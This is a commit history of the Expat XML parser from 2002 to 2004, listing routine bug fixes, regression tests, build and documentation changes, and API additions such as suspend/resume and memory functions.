Karl Waclawek 5d1062a57d Fix for bug #916228. 2004-03-15 00:34:12 +00:00
Karl Waclawek 28ede67c7f Improved comments for XML_StopParser() and XML_ResumeParser(). 2004-03-10 15:56:11 +00:00
Karl Waclawek cab3befee5 Applied a simplified version of Jeremy Kloth's patch for bug #896188.
Also removed some code that was never executed, because the condition
(prologState.documentEntity && role == XML_ROLE_INNER_PARAM_ENTITY_REF)
can never be true. Improved some comments as well.
2004-02-13 18:11:51 +00:00
Karl Waclawek 3cb7a47584 Made these compiler warnings go away:
- not all cases handled for switch based an enumeration:
  added default: ; where appropriate
- char* passed where const char* was expected:
  changed variable declarations to const char*
2004-02-11 16:42:40 +00:00
Fred L. Drake, Jr. 5f7ed9e1d9 update version number (closes SF patch #841591) 2004-01-29 00:11:32 +00:00
Karl Waclawek 100e0bd4a2 Cosmetic changes in function signatures - for consistency. 2004-01-27 01:48:58 +00:00
Fred L. Drake, Jr. 6b43e142b8 add link to OCaml Expat 2004-01-22 04:22:17 +00:00
Fred L. Drake, Jr. b57b602cf0 add MSVC 6 project files to the source distribution
closes SF bug #856659
2004-01-21 21:30:54 +00:00
Fred L. Drake, Jr. 3fc33bf3b6 suggested patch from SF bug #846309:
avoid generating spurious warning from GCC on non-x86 platforms
2004-01-20 16:04:47 +00:00
Fred L. Drake, Jr. c4cc819335 - add a link-less entry for XML::Parser
- fix punctuation
2004-01-20 14:41:59 +00:00
Karl Waclawek 2335294f7c Applied patch #835123: Suspend/Resume functionality.
For details check the patch description.
2004-01-07 17:12:04 +00:00
Karl Waclawek e99be5e232 Updated links for SAXExpat and SAX for Pascal. 2003-12-16 17:24:29 +00:00
Fred L. Drake, Jr. f5092bbff6 Defined HAVE_EXPAT_CONFIG_H when building on VMS.
Closes SF bug #840173.
2003-11-17 15:36:02 +00:00
Fred L. Drake, Jr. 1b3f0f6b1f bump the version number since the code has changed, however slightly 2003-11-02 20:37:22 +00:00
Fred L. Drake, Jr. 441247cf0c remove unused stanzas 2003-11-02 18:14:11 +00:00
Fred L. Drake, Jr. 8b57439995 Simplify preprocessor construct. 2003-11-02 09:44:55 +00:00
Fred L. Drake, Jr. d11807a7b5 Allow the configure script to set where manpages go using --mandir.
Closes SF bug #827319.
2003-11-02 08:21:30 +00:00
Fred L. Drake, Jr. 0a0a850ae7 added regression test for SF bug #824420:
in non-namespace mode, Expat reported the use of an unbound namespace
when encountering an element that looks like it has a namespace prefix
(were namespaces enabled) and there's a definition for that prefix in
the DTD
2003-11-02 08:12:46 +00:00
Fred L. Drake, Jr. b2686e7b0f update the dates 2003-10-30 19:59:50 +00:00
Fred L. Drake, Jr. fba15ab94c remove unnecessary typecast 2003-10-30 14:58:39 +00:00
Fred L. Drake, Jr. 556f1650b1 extend the "Communicating between handlers" section a bit; needed to
mention the need to accumulate data between calls to the character
data handler
2003-10-28 21:25:43 +00:00
Fred L. Drake, Jr. 98990a195b update the link for tDOM 2003-10-28 17:13:10 +00:00
Karl Waclawek e16720329e Make XML_ParserFree() null-safe, so that it behaves
like the standard free() memory deallocation function.
2003-10-26 08:13:54 +00:00
Karl Waclawek bd816ff175 Corrected docs regarding Win32 builds with MS VC++. 2003-10-24 00:40:54 +00:00
Karl Waclawek 9b01868388 Cleaned up make files and improved docs. 2003-10-24 00:39:42 +00:00
Fred L. Drake, Jr. ef171566a0 Started a new page with some notes about what's changing in Expat 3.
Largely a placeholder at this point, but this can be used to tell the
community about what Expat 3 will "look like."
2003-10-23 05:24:11 +00:00
Fred L. Drake, Jr. 216def7c39 make sure we pick up the Expat logo in the doc directory 2003-10-21 17:05:43 +00:00
Fred L. Drake, Jr. 417a3d0184 Add a news item for the Expat 1.95.7 release; not quite ready, but almost. 2003-10-21 03:52:10 +00:00
Fred L. Drake, Jr. 1d6a85c8f3 Set the release date. 2003-10-20 21:11:27 +00:00
Fred L. Drake, Jr. 9749816465 use indentation consistently 2003-10-20 14:50:37 +00:00
Fred L. Drake, Jr. 16efce86d2 Steal a bit of look-n-feel from the website; this document was just looking
incredibly bland.
2003-10-20 14:40:44 +00:00
Fred L. Drake, Jr. cf18cd478c avoid a few additional warnings for some compilers, and others with
warnings turned way up high
2003-10-18 04:46:02 +00:00
Fred L. Drake, Jr. 48bff2f30f Updates from last night. 2003-10-17 21:08:30 +00:00
Karl Waclawek b3a1f516ca Fix for bug #824420. 2003-10-16 14:26:46 +00:00
Fred L. Drake, Jr. f4487b0a0f update to reflect further improvements 2003-10-16 05:05:16 +00:00
Fred L. Drake, Jr. 99609421a8 Make it possible to avoid the import of expat_config.h. This makes it
easier to compile Expat without the autoconf support.
This closes SF patch #458907.
2003-10-16 04:51:11 +00:00
Fred L. Drake, Jr. 18b57349d9 - reorganize by the components that need what we're checking for
- remove the check for memcmp(); we didn't use the result of the check
  (though we do use memcmp())
2003-10-16 04:32:39 +00:00
Fred L. Drake, Jr. c56983e0f0 - use spaces instead of tabs consistently
- don't allow trailing whitespace at the end of lines
- remove blank lines at the end of the file
2003-10-16 04:23:44 +00:00
Fred L. Drake, Jr. 80e8668e6f Remove the __attribute__((dllimport)) and __attribute__((dllexport))
declarations; these are needed only on an obscure platform (Windows NT
on PowerPC using GCC), and were never in previous releases of Expat.
They caused way too many spurious warnings on several platforms where
they aren't actually needed but should be ignored silently.
Removing these cannot break working code.
2003-10-16 04:20:54 +00:00
Karl Waclawek 5bdc75633d Removed unused EXPAT_EXPORTS definition. 2003-10-15 21:38:15 +00:00
Fred L. Drake, Jr. 2331e87068 clean up the macro restructuring, and make it play nice on Windows 2003-10-15 20:51:28 +00:00
Fred L. Drake, Jr. 7b1a4b6f16 - add the XMLCALL annotation consistently in the docs
- don't drop the void return for handler setting functions
2003-10-15 20:46:53 +00:00
Fred L. Drake, Jr. 5cc0142ddc - the "alt" attribute is required on <img/> to be valid XHTML strict
- minor cleanup
2003-10-15 20:02:12 +00:00
Fred L. Drake, Jr. 5635f09e4c - add Expat version number
- add notes about safely using XMLCALL with older Expat versions
2003-10-15 18:49:54 +00:00
Fred L. Drake, Jr. 6590085eff Update to reflect the addition of the XMLCALL macro. 2003-10-15 18:33:27 +00:00
Fred L. Drake, Jr. ff6d437c22 Add a news item about the upcoming release, and a pointer to the testing
snapshot.
2003-10-15 18:16:35 +00:00
Fred L. Drake, Jr. c33c38d289 Move "Configuring Expat Using the Pre-Processor" from the "Using"
section to the "Building" section.
2003-10-15 16:36:23 +00:00
Fred L. Drake, Jr. 2bba3d20f5 Deal with issue discussed in SF patch #820946: Expat doesn't handle
the use of modified default calling conventions in client code.

To deal with this issue and generally clean up the mass of macros
being used to support bits of the machinery, two new macros are being
added:

- XMLCALL, which expands to whatever is needed to nail down the
  calling convention for all calls across the library boundary.  This
  must match the convention used for the system's malloc()
  implementation.

- XMLIMPORT, defined to be whatever magic is needed to mark an entry
  point as imported from a dynamically loaded module (.dll, .so, .sl,
  whatever).

These macros are used to define the XMLPARSEAPI macro already being
used to define the API entry points.  In addition, XMLCALL is used to
define the types of callback functions, and all example code uses this
explicitly in both the distributed applications and the documentation.
2003-10-15 16:25:44 +00:00
Fred L. Drake, Jr. 032ed43a38 - move the CVS repository specification to a variable
- use authenticated access for now, since SF's anonymous CVS still
  isn't in a happy state
2003-10-11 17:50:22 +00:00
Greg Stein c02e8784e7 Put in a little protection against the developer not having the check
package available.

sfbug #664541.

* configure.in: look for check.h. This will set up a HAVE_CHECK_H define.

* tests/chardata.c, tests/runtests.c: update banner. add test for
    HAVE_CHECK_H and bail if not present.
2003-10-09 21:32:28 +00:00
Fred L. Drake, Jr. 0c78684ba5 Minor updates before release. 2003-10-09 12:18:41 +00:00
Fred L. Drake, Jr. b5aaaefa1f Added documentation for the pre-processor macros used to configure Expat. 2003-10-08 03:32:25 +00:00
Greg Stein d7a766e9df Suggested fix from jtalkington@users.sf.net.
See bug #765227.

* lib/internal.h:
  (FASTCALL, PTRFASTCALL): only define these macros for the GNU C compiler
    on i386 platforms. apprently, they do not work well on PPC ports.
2003-09-28 21:57:22 +00:00
Karl Waclawek ecceec27f2 Improved comment on hash algorithm. 2003-09-22 14:14:54 +00:00
Karl Waclawek b28869898a Applied patch #699487. For details see patch description. 2003-09-13 17:30:30 +00:00
Fred L. Drake, Jr. ee9e686680 wrapped some long lines 2003-09-12 03:52:18 +00:00
Karl Waclawek 9e252e84d8 Updated mailing list links. 2003-09-05 17:20:47 +00:00
Karl Waclawek 8128549ff1 Corrected typo. 2003-09-05 00:42:46 +00:00
Karl Waclawek 8aee05d06b Added a file for testing the duplicate prefixed attribute check. 2003-09-05 00:40:23 +00:00
Karl Waclawek c2a87a1b7e Added files for performance testing. 2003-09-04 21:31:32 +00:00
Karl Waclawek 8ffc7e6556 Explains usage of benchmark utility. 2003-09-04 16:13:10 +00:00
Fred L. Drake, Jr. a1980e2fb9 Add explanations for this directory. 2003-09-04 16:05:02 +00:00
Karl Waclawek 0c62e320f8 Small benchmark utility to test pure parser speed.
Tested on Windows only. Includes MS VC++ 6.0 workspace.
2003-09-04 16:01:54 +00:00
Karl Waclawek 04e4395048 Adjusted layout of XML_ParserReset fix. 2003-08-28 13:12:34 +00:00
Karl Waclawek f375cc9c98 Fixed omission of second argument in XML_ParserReset.
Reported by Tim Bray.
2003-08-28 13:08:10 +00:00
Fred L. Drake, Jr. 118ea18262 elaborated test case to cover SF bug #774028; current Expat already
handles this correctly
2003-08-27 12:34:23 +00:00
Fred L. Drake, Jr. b7e1fb5e4e update link to mailing lists 2003-08-04 14:38:24 +00:00
Fred L. Drake, Jr. 8940f541ca Update expatpp link, and use the name in the description. 2003-07-28 15:46:32 +00:00
Fred L. Drake, Jr. cb1d481cda Added link to Late Night Software's XML Tools 2. 2003-07-25 16:30:47 +00:00
Fred L. Drake, Jr. 4b4c45e4d6 Replace a poor message with one that isn't misleading.
See SF bug #699323.
2003-07-16 12:21:25 +00:00
Fred L. Drake, Jr. 63870ec6db Update the library version properly this time. 2003-07-15 17:29:42 +00:00
Fred L. Drake, Jr. dc2b252367 Added notes about needing the check library to run the regression and
unit tests.
See SF bug #732794.
2003-07-15 15:42:13 +00:00
Fred L. Drake, Jr. fa49735f8a - bump the versioning information
- start describing the changes in 1.95.7
2003-07-15 15:20:35 +00:00
Karl Waclawek 57455c864c Expat would report an incorrect "Unlosed token" error when
expanding %percent; in the second of these entity declarations:

<!ENTITY % percent "&#37;">
<!ENTITY %percent; y "value">

This patch was submitted by James Clark on the xml-dev mailing list.
2003-07-03 04:01:14 +00:00
Greg Stein f42e8ae96b Patch submitted by Joe Orton <joe@manyfish.co.uk> with additional
modifications by Greg Stein (comments and text changes).

* buildconf.sh: to deal with crazy/custom libtool installations, allow
    the developer/package to specify the libtool.m4 location by
    setting the LIBTOOL_M4 environment variable. If that isn't set,
    then we use our previous method of trying to derive its location.
2003-06-18 01:11:45 +00:00
Fred L. Drake, Jr. beb865de86 Add a reference to the Simkin scripting language. 2003-04-15 18:43:03 +00:00
Fred L. Drake, Jr. f668c507d9 Be more defensive: only enable the *CALL macros when using GCC on
Linux, since we know the current definitions work there and have a
positive effect.
This closes SF bug #692878.
2003-03-14 17:25:12 +00:00
Fred L. Drake, Jr. 5bd3d020d3 - better explain the XML_GetCurrent*() functions (SF bug #683681) 2003-03-13 02:17:48 +00:00
Fred L. Drake, Jr. c288abe148 - better explain the XML_GetCurrent*() functions (SF bug #683681)
- fix spelling
2003-03-13 02:13:06 +00:00
Fred L. Drake, Jr. de2aab2a91 Fix function signature.
Closes SF bug #679468.
2003-03-13 01:30:48 +00:00
Fred L. Drake, Jr. cc454566be Fix FASTCALL for GCC on Solaris (SF bug #692878).
This file is becoming a liability.
2003-03-12 23:02:11 +00:00
Fred L. Drake, Jr. c95888aeed Removed documentation of limitations that no longer exist in the
implementation.  See SF bug #620343.
2003-03-12 22:42:53 +00:00
Fred L. Drake, Jr. 2ff7f92016 - be more specific about the errors we expect to see reported
- change the name of make_basic_suite() to make_suite(), since there's
  only one make_*_suite() function
2003-03-12 19:25:03 +00:00
Fred L. Drake, Jr. 72ba3bd3d8 Add regression tests for SF bugs:
#692964 - Case where expat 1.95.6 doesn't report duplicate attributes
#695401 - Unbound prefixes not rejected
2003-03-12 19:17:18 +00:00
Karl Waclawek 8650b04b24 Apply patch NSAttFix3.diff for bug #692964 (with one minor modification).
This also fixes bug #695401.
2003-03-07 15:54:08 +00:00
Karl Waclawek 2d3510fa5f Fix for bug #679754: compile error when XML_DTD not defined. 2003-02-03 20:32:45 +00:00
Fred L. Drake, Jr. 777344d49d Move the XML_Status enum definition earlier. Some recent versions of
GCC (3.2 at least) report an error from the forward reference.
2003-01-29 02:43:08 +00:00
Fred L. Drake, Jr. a711a048ef Add win32/README.txt to the Source/ directory that gets installed. 2003-01-28 15:26:59 +00:00
Fred L. Drake, Jr. 0edf0b6689 XML_Status is an enum, not a typedef name. 2003-01-28 15:23:39 +00:00
Fred L. Drake, Jr. c48e483c59 Fix the release date... again. 2003-01-28 05:54:33 +00:00
Fred L. Drake, Jr. 1ffb2b424a Karl's latest patch for SF issue #673791:
Call storeAtts() for all element start tags; this is necessary to
ensure attribute defaults are properly processed for all elements
(needed to do proper namespace checking, at the very least), and that
tag names are properly cooked when there's an end-element-handler but
no start-element-handler.

This causes the new tests to pass, and closes the SF tracker issue.
2003-01-28 05:45:10 +00:00
Fred L. Drake, Jr. db8a501c0d - two more tests based on Karl's comments on SF patch #673791
- pass XML_TRUE or XML_FALSE as the isFinal parameter for XML_Parse()
2003-01-28 05:33:37 +00:00
Fred L. Drake, Jr. eedd60ee72 Add the .DEF files to the Windows installer. 2003-01-26 01:11:29 +00:00
Fred L. Drake, Jr. 33176a01d0 Added change notes for Expat 1.95.6, in preparation for pending
release.  This should not be published in the release is made public
on SourceForge.
2003-01-25 18:43:29 +00:00
Fred L. Drake, Jr. f16ae245bf Replace tabs with spaces. 2003-01-25 16:25:34 +00:00
Fred L. Drake, Jr. c6db3a89f7 Update more version numbers. 2003-01-25 16:10:15 +00:00
Fred L. Drake, Jr. 6a43d872b7 Update for release 1.95.6. 2003-01-25 15:36:31 +00:00
Fred L. Drake, Jr. 06f1a47c8f Update information on the 1.95.6 release (still pending). 2003-01-25 15:33:21 +00:00
Fred L. Drake, Jr. f85926afd5 Added regression tests for SF bug #673791. 2003-01-25 06:55:25 +00:00
Fred L. Drake, Jr. a04f107e61 Karl's fix for SF bug #673791:
Error with xmlns:prefix= with namespace processing enabled.

It seems that storeAtts() has the following properties:
- when called with tagNamePtr = NULL and bindingsPtr = NULL,
  it does not process attributes incl. namespace declarations
- when called with all arguments non-NULL it processes
  attributes (incl. default attributes) and namespace declarations

We also have these requirements:

A) for start of element event:

  1) if we have a startElementHandler:
     we need to process at least default attributes,
     so we must call storeAtts with all arguments non-NULL
  2) if we have no startElementHandler, but we have attributes:
     we need to process namespace declarations,
     so we must call storeAtts with all arguments non-NULL
  3) if we have no startElementHandler and no attributes:
     we need to store the name (for the end element event, where
     the names are compared) and call only the default handler

  Note: Storing the name is a pre-requisiste for calling
        storeAtts with all arguments non-NULL.

So there really is no place for calling storeAtts with
tagNamePtr = NULL and bindingsPtr = NULL.

B) for empty element event:

  1) if we have a startElementHandler:
     we need to process at least default attributes,
     so we must call storeAtts with all arguments non-NULL
  2) if we have no startElementHandler, but we have attributes:
     we need to process namespace declarations,
     so we must call storeAtts with all arguments non-NULL
  3) if we have no startElementHandler and no attributes,
     but we have an endElementHandler:
     we need to store the name for calling the handler,
     but we need not process any attributes (default or not)
  4) if we have no start- or endElementHandler, and no attributes:
     we need to call only the default handler

Given that storeAtts will now always be called with all arguments
non-NULL we could remove a few internal checks in storeAtts,
if that improves efficiency. Not sure if that is worth it.

This patch should therefore fix the problem of namespace declarations
not being processed when no startElementHandler is set, that is,
it will fix Jeremy's NS processing patch.
2003-01-25 06:53:05 +00:00
Fred L. Drake, Jr. 7fd8181a4a Thread the proper file name and line number to make determination of
which test is failing easier.
2003-01-25 04:57:44 +00:00
Fred L. Drake, Jr. e39c6e2237 Last minute updates. 2003-01-24 18:43:20 +00:00
Fred L. Drake, Jr. de5e0f55c8 Regenerate from xmlwf.sgml revision 1.4. 2003-01-24 18:34:59 +00:00
Fred L. Drake, Jr. ed1d59f6b1 Explain "--" properly. 2003-01-24 18:34:03 +00:00
Fred L. Drake, Jr. d976fa61a6 Add a clobber target. "clean" should really be less destructive, but
libtool is really a thorn with regard to this.
2003-01-24 16:21:46 +00:00
Fred L. Drake, Jr. da325003e9 Regenerate from xmlwf.sgml. 2003-01-24 15:26:06 +00:00
Fred L. Drake, Jr. 9934dba58a - document unexpected memory use reporting when memory mapped files
are used; closes SF bug #632146
- minor changes to wording in a few places
- remove cute comment on one of the linked sites
- added more markup
2003-01-24 15:23:33 +00:00
Fred L. Drake, Jr. 5d55922080 - _expect_failure(): Use _fail_unless() instead of fail() to allow
reporting of the right line number
- add test that demonstrates the default namespace can be reset
  without a syntax error
2003-01-24 05:39:16 +00:00
Fred L. Drake, Jr. 4273b16711 Add a test that makes sure xmlns:prefix="" is allowed when namespace
processing is not enabled.
2003-01-24 05:09:42 +00:00
Karl Waclawek d9d497177a Applied patch #673791. 2003-01-24 05:01:45 +00:00
Karl Waclawek dd2ecd7fa8 For the start of element and end of element events, it is possible that
the default handler does not get called even when no element handlers
are called, because storeAtts() may trigger the startNamespaceDeclHandler
where the application has a chance to clear the element handlers.

This patch fixes this with one issue still open, which applies to empty elements only:
When the endElement handler is called, but not the startElementHandler,
then the default handler is not called, which causes attributes to not
be reported at all. The other alternative would be to call the default handler,
but then the element would be reported twice.
2003-01-22 14:52:20 +00:00
Karl Waclawek c56f444ab0 Prevent storeAtts() from being called twice for an empty element when
the endElementHandler is set, but not the startElementHandler.
2003-01-22 14:26:07 +00:00
Fred L. Drake, Jr. d6df5f356b - update information on the GOBO Expat interface
- fix some well-formedness errors
- add some missing punctuation
2003-01-22 03:19:22 +00:00
Fred L. Drake, Jr. 164b04825b Added notes that the namespace decl handlers are only called when the
start element handler is set.  See SF bug #620343.
2003-01-21 16:09:31 +00:00
Fred L. Drake, Jr. b2e6a40fbb Fix test case regarding reporting of undefined entities and
non-validating parsers (see section 5.1 of the XML 1.0 specification).
2003-01-21 05:41:24 +00:00
Fred L. Drake, Jr. 31c109284d Added link to a discussion of another way to handle stateful
callbacks, using Expat as an example library to work with.
Closes SF bug #658080.
2003-01-21 05:20:51 +00:00
Fred L. Drake, Jr. 3d6f978672 Documented XML_SetExternalEntityRefHandlerArg(), including API
foolishness noted in SF bug #644344.
Closes SF bug #644344.
2003-01-21 05:00:51 +00:00
Fred L. Drake, Jr. a4e0597458 - try to be smarter about the options to cp
- use indentation consistently
- one we've built the tarball successfully, clean up the 2nd temp dir
2003-01-20 15:25:20 +00:00
Fred L. Drake, Jr. f6b3146642 Update the list of project files for the Borland tools. 2003-01-20 15:00:57 +00:00
Fred L. Drake, Jr. 37be32f63f Minor cleanups and conformance with current recommended usage. 2003-01-20 14:49:44 +00:00
Karl Waclawek 8850c38338 Correct the version some APIs were added in. 2003-01-17 00:49:12 +00:00
Fred L. Drake, Jr. e629e75f89 Added notes about the new APIs. 2003-01-16 23:24:38 +00:00
Fred L. Drake, Jr. 7410374a90 Correct the version some APIs were added in. 2003-01-16 23:22:56 +00:00
Fred L. Drake, Jr. bbfa307c6b Add documentation for XML_FreeContentModel(), XML_MemMalloc(),
XML_MemRealloc(), and XML_MemFree().
2003-01-16 23:15:19 +00:00
Karl Waclawek 131116f1ec Change to support Windows 2000 behaviour by default 2003-01-16 22:07:26 +00:00
Karl Waclawek 0c7508bf81 Updating Borland BCB5 DEF files for patch re. bug/feature request #651754 2003-01-16 22:05:46 +00:00
Karl Waclawek f19a5291ec Patch for bug/feature request #651754.
Implemented with two API additions:
1) For element declaration handler support:
  XML_FreeContentModel
2) Exposing Expat's memory allocation functions:
  XML_MemMalloc
  XML_MemRealloc
  XML_MemFree
2003-01-16 22:03:42 +00:00
Karl Waclawek 3bfb49007e Applied patch for bug #667511 supplied by Jeremy Kloth. 2003-01-15 00:51:15 +00:00
Fred L. Drake, Jr. 77c2d3e0ae Update comments to refer to XML_STATUS_OK, XML_STATUS_ERROR, and NULL
as appropriate.
2002-12-31 17:53:21 +00:00
Fred L. Drake, Jr. eb280e7260 Change the API to return XML_Status values where possible.
Existing client code is 100% compatible.
2002-12-30 20:12:52 +00:00
Fred L. Drake, Jr. f379e9315f When returning a status value through the public API, use
XML_STATUS_OK / XML_STATUS_ERROR.  Internal status returns are not
affected.
2002-12-30 20:02:28 +00:00
Fred L. Drake, Jr. 7556575221 Clarify the documentation for the position-reporting functions
somewhat (see SF bug #653180).

Use XML_STATUS_ERROR and XML_STATUS_OK instead of 0, 1, and "non-zero"
in several places.
2002-12-30 19:50:06 +00:00
Fred L. Drake, Jr. 42dc47850e Oops, there were more regression tests for SF bug #653180; add these
as well.
2002-12-30 19:33:21 +00:00
Fred L. Drake, Jr. d9b09dd45e Added regression tests from bug; Karl already fixed the bug itself.
Closes SF bug #653180.

Removed test that failed to tickle the bug, but should have.
2002-12-30 19:20:39 +00:00
Karl Waclawek e6802bb514 Fix for bug/feature request #653180. 2002-12-16 04:02:02 +00:00
Karl Waclawek ed47baa513 Applied patch for bug #653449. 2002-12-14 03:12:18 +00:00
Patrick McConnell e541a7f743 Segregate obj files for utf8 and unicode build versions 2002-12-09 17:23:23 +00:00
Karl Waclawek f162999a26 Annotated MS VC++ DEF files. 2002-12-08 14:35:34 +00:00
Patrick McConnell 0703fecbdc Moving the Borland module definition files to the bcb5 dir, correcting
an error in the LIBRARY entry in the def files, calling the new def
files in the proj and make files.
2002-12-08 03:37:41 +00:00
Patrick McConnell 2fd9d5e8d6 Moving the Borland .def files to the BCB5 directory and correcting an
error in the LIBRARY entry
2002-12-08 03:16:38 +00:00
Karl Waclawek eddeed59f9 Clarified runtime linking issues. 2002-12-07 14:18:50 +00:00
Patrick McConnell 5d1952a9f9 Revision of Borland proj and make files to fix dos carriage return
problem. Files remain identical to initial release for building static
and wide-char versions of libs, as well as the dll's.
2002-12-07 08:59:43 +00:00
Patrick McConnell 7c008489b1 libexpat dll def files for borland initial release 2002-12-07 08:25:58 +00:00
Patrick McConnell f4f555f8a5 Removed dos linefeeds, test this before doing rest of bcb5 2002-12-06 22:29:14 +00:00
Patrick McConnell d9e3766cd4 *** empty log message *** 2002-12-06 21:52:38 +00:00
Patrick McConnell 038f5f0f6e *** empty log message *** 2002-12-06 21:36:08 +00:00
Fred L. Drake, Jr. e2dd730af2 Added a link to SCEW. 2002-12-04 06:52:36 +00:00
Karl Waclawek 48cb2c35b0 Added additional patch for bug #644334. Includes workaround for
bad API typedef of externalEntityRefHandler.
2002-11-27 17:11:32 +00:00
Fred L. Drake, Jr. 9a41111b9d Add some type casts to deal with MALLOC signature checking for
some platforms.
Closes SF bug #644334.
2002-11-27 04:03:33 +00:00
Fred L. Drake, Jr. d0d21d7253 The feature name pointers should be marked const. This reportedly
avoids some warnings on HP-UX using the aCC compiler.
Closes SF bug #644461.
2002-11-27 03:31:23 +00:00
Karl Waclawek 1a6b939100 Fixed memory leak. 2002-11-20 16:20:10 +00:00
Fred L. Drake, Jr. 4e95e87acb Make sure all lines end with a newline. 2002-11-20 04:27:32 +00:00
Fred L. Drake, Jr. 0a40843bde Remove trailing whitespace. 2002-11-12 21:49:36 +00:00
Fred L. Drake, Jr. 47d66b73ba Remove trailing whitespace. 2002-11-12 21:44:18 +00:00
Fred L. Drake, Jr. 843c5c4f5c Added regression test for SF bug #483514: Default handler reports
handled events.
2002-11-12 20:26:05 +00:00
Fred L. Drake, Jr. 1e4bab1724 Added regression test for SF bug #620106: XML_SetEncoding() broken
for external entities.
2002-11-12 19:22:49 +00:00
Fred L. Drake, Jr. a515b7b01c Added regression test for SF bug #616863.
Cleaned up some indentation.
Report the version of the Expat library if not in "silent" mode.
2002-11-07 23:02:26 +00:00
Fred L. Drake, Jr. de3338154c Avoid use of xargs; not available on Windows when using MSYS/MinGW. 2002-11-07 21:48:05 +00:00
Karl Waclawek c61a46c305 * Applied patch #620822 - Windows Dll build with DEF file
* Changed macro for static linking from _STATIC to XML_STATIC
  and modified expat.h accordingly
* Added ReadMe file to Win32 subdirectory documenting Windows builds
* Changed static build settings to create libraries with names different
  from the Dll stub library libexpat(w).lib
2002-10-21 21:19:41 +00:00
Fred L. Drake, Jr. 0bf90d3f52 Adjust markup a bit, adding some internal hyperlinks. 2002-10-17 19:13:55 +00:00
Karl Waclawek b6a92c7a8f Improved documentation of XML_ExternalEntityRefHandler. 2002-10-17 16:47:45 +00:00
Karl Waclawek e3bfa4a70a Applied patch for bug # 620106. 2002-10-09 13:21:45 +00:00
Fred L. Drake, Jr. f4befc31c3 SF bug #620343: segfault: bad API/callback interaction
The start-namespace-decl callback can set the start-element callback to
NULL, but Expat tried to call it anyway.
2002-10-08 17:04:55 +00:00
Fred L. Drake, Jr. 8d3327daf6 Add omitted period. 2002-10-08 14:02:02 +00:00
Fred L. Drake, Jr. 6fca489398 Bump version numbers. 2002-10-07 20:26:31 +00:00
Fred L. Drake, Jr. b3979b5fbb Start making notes about changes. 2002-10-07 20:25:24 +00:00
Karl Waclawek 7edd98f770 Applied patch #618199. 2002-10-03 19:41:26 +00:00
Karl Waclawek ea4dc4d03f Applied fix for bug #616863. 2002-10-01 16:58:54 +00:00
Karl Waclawek 8666c2388d Forgot to re-establish implicit namespace context (prefix xml)
in XML_ParserReset().
2002-09-30 12:11:26 +00:00
Karl Waclawek 74e6874851 Fix for bug #615606. 2002-09-28 14:47:34 +00:00
Fred L. Drake, Jr. 22331bd3bf Move the old news to a separate page, hopefully making the 3rd-party
wrapper information more discoverable.

Add a link to the top pointing down to the "References & Wrappers"
section, for the same purpose.  (Thanks, Karl!)
2002-09-27 14:13:12 +00:00
Fred L. Drake, Jr. 4266d70c97 Archive old news off the main page so it is not so distracting. Hopefully
makes the 3rd-party wrapper information more discoverable.
2002-09-27 14:11:43 +00:00
Karl Waclawek 5ca83cc911 Changed calling convention macros to differentiate between
different types of function calls - see comments in internal.h.
2002-09-20 03:42:43 +00:00
Fred L. Drake, Jr. 896b3d1cc9 Fix a name. 2002-09-19 20:19:51 +00:00
Fred L. Drake, Jr. d784ead9cb A last-minute report suggests a problem with this using at least some
versions of egcs, so disable FASTCALL for GCC as well.  We are now not using
this for any platform.  ;-(
2002-09-06 21:49:57 +00:00
Fred L. Drake, Jr. 3aa214ccc1 Revised one of the change notes slightly. 2002-09-06 21:32:19 +00:00
Fred L. Drake, Jr. 9bd525992b Disable FASTCALL on Windows since it turned out not to be as effective
as hoped.  Leaving the definition in the file so we'll know what it
was that didn't work, and hopefully find something better in the
future.
2002-09-06 21:29:46 +00:00
Fred L. Drake, Jr. d467f7ee94 Add the static libraries to the manifest of installed files for Windows. 2002-09-06 20:32:10 +00:00
Fred L. Drake, Jr. 15f4de36f2 Install the static libs and the PNG icon for the documentaiton. 2002-09-06 20:30:45 +00:00
Fred L. Drake, Jr. 50bf4791f7 Stupid typo. 2002-09-05 21:29:12 +00:00
Fred L. Drake, Jr. db78c304ec Let's make at least one distribution try to be complete. 2002-09-05 21:25:41 +00:00
Fred L. Drake, Jr. 1486043e74 Add the new, internal header file. 2002-09-05 21:02:17 +00:00
Karl Waclawek 7114a9f6e6 Updated link. 2002-09-05 20:27:51 +00:00
Fred L. Drake, Jr. 8c528fc7e2 Refer to the roadmap document until I can update this page; hopefully
tonight.
2002-09-05 20:27:46 +00:00
Fred L. Drake, Jr. f8714f4c14 Make it clear that "Namespaces in XML 1.1" is included when we talk
about XML 1.1.
2002-09-05 20:18:45 +00:00
Karl Waclawek 633caf8040 Fred and I added FASTCALL directives to xmltok.c and related files. 2002-09-05 18:21:01 +00:00
Karl Waclawek 6483b5cbdd Make FASTCALL function pointer declaration compile under VC++. 2002-09-05 15:25:06 +00:00
Fred L. Drake, Jr. efb3190524 Update the version/compatibility information for the API.
Update the email address for bug reports.
2002-09-05 04:46:24 +00:00
Fred L. Drake, Jr. 4d17e2c582 Update RPM spec file for Expat 1.95.5. 2002-09-05 04:17:25 +00:00
Fred L. Drake, Jr. 9d79d46fb9 Update information about the Expat mailing lists, and the version
number.
2002-09-05 03:34:47 +00:00
Fred L. Drake, Jr. 3c08a83d5f Add the proper way of dealing with page margins. This is better than
the browser-specific tags currently in the pages, and works on some
browsers that don't support those extensions.
2002-09-05 03:20:11 +00:00
Fred L. Drake, Jr. 0d43a305a9 Added a news item about the roadmap document. This is important for
the future development efforts.
2002-09-05 03:14:45 +00:00
Fred L. Drake, Jr. e976a1a67d Add a note to the prolog directing discussion to the expat-discuss
list.
2002-09-05 03:13:05 +00:00
Fred L. Drake, Jr. e0eade938b Added the date of the last update. 2002-09-05 03:08:01 +00:00
Fred L. Drake, Jr. 0fb88c013f Add link to the roadmap document. 2002-09-05 03:06:48 +00:00
Fred L. Drake, Jr. 16b5677b9b Predict a release date.
Add a note about the internal calling convention magic.
2002-09-05 02:00:56 +00:00
Fred L. Drake, Jr. 858593e849 Use the FASTCALL macro for many of the internal functions. 2002-09-05 01:58:27 +00:00
Fred L. Drake, Jr. ca524b2c69 Added new header for common internal definitions. These are all performance-
related at the moment.
2002-09-05 01:56:29 +00:00
Fred L. Drake, Jr. ad0e1a943b Elaborate the XML_GetFeatureList() API a bit, and add additional info
that may be needed by a hughly flexible client.  (Or at least used to check
that the Expat that it links to matches client expectations.)
2002-09-05 01:48:26 +00:00
Fred L. Drake, Jr. eb13d682e6 Don't hedge; call it what it is. 2002-09-04 17:26:58 +00:00
Fred L. Drake, Jr. 881a54a152 Added text about the pull/suspend model for parsing; not sure this is
in the right section.
2002-09-04 17:25:37 +00:00
